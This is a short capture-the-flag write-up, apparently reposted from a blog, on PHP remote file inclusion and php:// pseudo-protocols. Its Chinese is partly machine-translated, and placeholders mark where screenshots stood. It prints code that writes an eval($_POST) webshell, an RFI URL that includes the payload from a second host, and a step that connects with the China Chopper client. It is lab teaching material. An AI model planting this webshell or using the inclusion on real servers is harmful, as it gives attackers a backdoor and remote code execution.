PHP RFI / pseudo-protocol

A simple question, learning remote file contains pseudo-protocol

Subject description:

php_include1

method one:

Use urlrealize php remote file inclusion

Structure on the server1.txt

php_include2

<?php
$a = "<?php eval(\$_POST['123'])?>";
$b = fopen("a.php","w") or die("123!");
fwrite($b,$a);
fclose($b);
?>

access:

http://ip1/index.php?url=http://ip2/1.txt

php_include3

A.php generated in the root directory

Connection using a kitchen knife to obtain flag.

php_include4

Method two: php pseudo-protocol

PHP supports pseudo agreed as follows:

file:// — 访问本地文件系统 必须是绝对路径
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)php://input 将post请求的数据当作php代码执行
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

There are two important parameters in php.ini allow_url_fopen and allow_url_include

allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

php_input_0

php_input_1

Guess you like

Origin www.cnblogs.com/chalan630/p/12571864.html